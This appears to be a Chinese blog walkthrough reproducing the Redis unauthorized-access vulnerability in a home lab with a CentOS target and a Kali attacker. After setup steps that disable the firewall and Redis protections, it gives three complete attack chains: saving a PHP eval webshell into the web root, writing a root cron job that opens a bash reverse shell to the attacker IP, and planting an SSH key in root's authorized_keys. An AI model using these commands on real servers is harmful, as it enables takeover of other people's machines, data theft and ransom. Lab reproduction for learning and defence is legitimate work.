一、简介

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

漏洞介绍

Redis因配置不当可以导致未授权访问,被攻击者恶意利用。如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。

漏洞产生条件 (1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网; (2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

二、漏洞环境搭建

靶机:CentOS-7-x86_64-Everything-2009.iso

攻击机:Kali Linux 2022.3-vmware-amd64

Redis: redis-3.2.0

1.靶机下载redis

以root用户登陆下载

下载:wget http://download.redis.io/releases/redis-3.2.0.tar.gz

解压:tar xzf redis-3.2.0.tar.gz   

Redis未授权漏洞   漏洞复现_Redis

ll    显示当前目录内容。 

cd  redis-3.2.0

Redis未授权漏洞   漏洞复现_php_02

编译: make

Redis未授权漏洞   漏洞复现_php_03

cd src 
cp  redis-server  /usr/bin  将redis-server  拷贝至/bin
cp  redis-cli        /usr/bin   将 redis-cli        拷贝至/bin
cd  ..                    返回上一级目录
cp  redis.conf     /etc          将redis.conf     拷贝至 /etc                     
redis-server /etc/redis.conf                        开启redis服务

Redis未授权漏洞   漏洞复现_Redis_04

Redis未授权漏洞   漏洞复现_php_05

2.kali下载reids

新建文件夹:  mkdir  redis
下载:wget http://download.redis.io/releases/redis-3.2.0.tar.gz
解压:tar xzf redis-3.2.0.tar.gz  
cd  redis-3.2.0
编译:make
 连接靶机:redis-cli -h   ip  
-h       连接指定host

报错无法连接

Redis未授权漏洞   漏洞复现_php_06

关闭靶机防火墙
systemctl stop firewalld.service          //关闭防火墙
 systemctl disable firewalld.service    //关闭防火墙自启动
Redis的配置更改
 找到配置文件: redis.conf并编辑vi redis.conf
(1)protected-mode yes   设置成no          #允许远程访问
(2)bind 127.0.0.1 这一行给#注释掉          #允许其他网段访问

连接靶机:redis-cli -h   ip

Redis未授权漏洞   漏洞复现_php_07

1.Redis未授权写入webshell
记得启动apache!!!
systemctl start httpd.service   #启动apache服务
config set dir /var/www/html                      #设置数据库备份文件的放置路径
config set dbfilename shell.php                #设置备份文件的文件名
set x "\r\n\r\n<?php @eval($_POST['cmd']);?>\r\n\r\n"   #添加一个键”x”,值为一句话木马
save                                                              #保存

#set x "\r\n\r\n<?php @eval($_POST['cmd']);?>\r\n\r\n"
 # ”\r\n\r\n” 表示换行,用Redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

 

Redis未授权漏洞   漏洞复现_redis_08

攻击机Kali浏览器访问ip/shell.php 可以看到内容

Redis未授权漏洞   漏洞复现_php_09

蚁剑连接

Redis未授权漏洞   漏洞复现_redis_10

2.Redis未授权写定时任务反弹shell
 01.在Kali使用nc开启监听
 nc -lvvp 6666
02.连接redis,写入定时反弹shell
redis-cli -h  IP
输入以下内容:
set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n"
 #前后加入'\n\n'换行以确保写入的计划任务可以被正常解析,每分钟执行一次.
 config set dir /var/spool/cron  #设置备份路径
 config set dbfilename root      #设置备份文件名
 save                                          #保存

Redis未授权漏洞   漏洞复现_php_11

03.kali打开监听
nc -lvvp  6666
一分钟后得到目标shell
可以执行命令

Redis未授权漏洞   漏洞复现_Redis_12

3. Redis未授权写SSH公钥获得shell 

01.在kali上生成ssh公钥
ssh-keygen -t rsa

02.将公钥写入foo.txt文件,前后用\n换行,避免和Redis其他缓存数据混合
 (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

Redis未授权漏洞   漏洞复现_php_13

 

Redis未授权漏洞   漏洞复现_php_14

03.将foo.txt写入靶机(使用redis-cli -h ip命令连接靶机,写入文件)
 cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey
04.连接Redis
 redis-cli -h 10.1.1.200 -p 6379
05.设置备份文件路径
 config set dir /root/.ssh/ 06.设置上传公钥的备份文件名字为authorized_keys
 config set dbfilename "authorized_keys"
save        #保存

Redis未授权漏洞   漏洞复现_redis_15

07.远程连接目标机器

ssh root@IP -i /root/.ssh/id_rsa

Redis未授权漏洞   漏洞复现_Redis_16

以上.

如有问题,欢迎留言。